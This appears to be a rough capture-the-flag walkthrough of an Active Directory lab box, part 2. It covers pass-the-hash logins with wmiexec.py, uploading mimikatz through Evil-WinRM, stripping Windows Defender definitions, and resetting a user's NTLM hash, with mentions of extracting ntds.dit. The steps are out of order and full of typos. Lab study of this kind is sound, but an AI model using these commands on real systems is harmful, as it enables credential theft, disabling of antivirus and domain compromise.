part 2 - creating smb server on linux or unix in order to data exfiltration from other server | ntfs disk | dd command | extracting ntds.dit

 C:\Users\Administrator\Desktop>cipher /c root.txt

it will tell you that only administrator can decrypt this. but you are nt authority\system.

so exit psexec.py 

now login with wmiexec.py from your own machine.

wmiexec.py -hashes 184fb5e5178480be64824d4cd53b99ee:184fb5e5178480be64824d4cd53b99ee administrator@10.10.10.192

now you are administrator. 

now use mimikatz to reset the password of audit2020 account that we had changed using rpcclient. 

from own machine:

locate mimikatz

/home/ippsec/ts/www/mimikatz.exe

*Evil-WinRM* PS C:\> upload  /home/ippsec/ts/www/mimikatz.exe  (go to windows temp directory of this remote AD to upload the mimikatz.exe) 

uploading to C:\\mimikatz.exe 

*Evil-WinRM* PS C:\> mimikatz.exe "lsadump::setntlm /user:Audit2020 /ntlm:600a406c2c1f2062eb9bb227bad654aa"    (this will not work because this is powershell session)

do it from psexec session.

revise from part 1 how to pass the hash using psexec

there is a change that the mimikatz gets deleted by the windows defender antivirus. so lets disable that first. 

from the psexec session:

C:\Windows\system32> cd \

dir

in this directory ntds.dit and system.hive diles are there. 

C:\>cd Progra~1

C:\PROGRA~1> cd "Windows Defender"

dir

C:\PROGRA~1\Windows Defender>.\mpcmdrun.exe -RemoveDefinitions -All

C:\Windows\Temp>.\mimikatz.exe "lsadump::setntlm /user:Audit2020 /ntlm:600a406c2c1f2062eb9bb227bad654aa" 

now the question is how you upload the mimikatz.exe in the windows temp directory. 

first copy that into you /home/ippsec/blackfield/smb directory and paste mimikatz there.

now use cme again to check previous ntlm hash of audit2020 works or not.